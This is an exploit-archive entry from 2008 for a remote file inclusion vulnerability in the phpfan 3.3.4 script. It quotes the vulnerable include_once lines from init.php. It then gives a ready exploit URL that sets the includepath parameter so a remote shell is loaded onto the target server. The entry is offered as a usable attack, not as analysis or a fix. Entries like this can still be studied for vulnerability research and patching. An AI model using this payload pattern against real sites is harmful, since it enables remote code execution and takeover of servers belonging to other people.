[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpfan 3.3.4 (init.php includepath) Remote File Inclusion Vulnerability
# Published : 2008-11-17
# Author : ahmadbady
# Previous Title : Q-Shop 3.0 Remote XSS/SQL Injection Vulnerabilities
# Next Title : Jadu Galaxies (categoryID) Blind SQL Injection Vulnerability
************************(remote file include)*****************
script: phpfan 3.3.4
***************************************************************************
download from:http://ishallnotcare.org/mint/pepper/tillkruess/downloads/tracker.php?url=http%3A//scriptsextra.ishallnotcare.org/phpfanbasic334.zip
***************************************************************************
............................................................................
vul:
<?php
if (!isset($loaded))
{
include_once $includepath .'/functions.php';
line 6:.> include_once $includepath .'/debug.php';
xpl:
http://site.com/path/includes/init.php?includepath=shell?
***************************************************
***************************************************
Author: ahmadbady from http://www.deltahacking.net
my mail: kivi_hacker666@yahoo.com
***************************************************
# www.Syue.com [2008-11-17]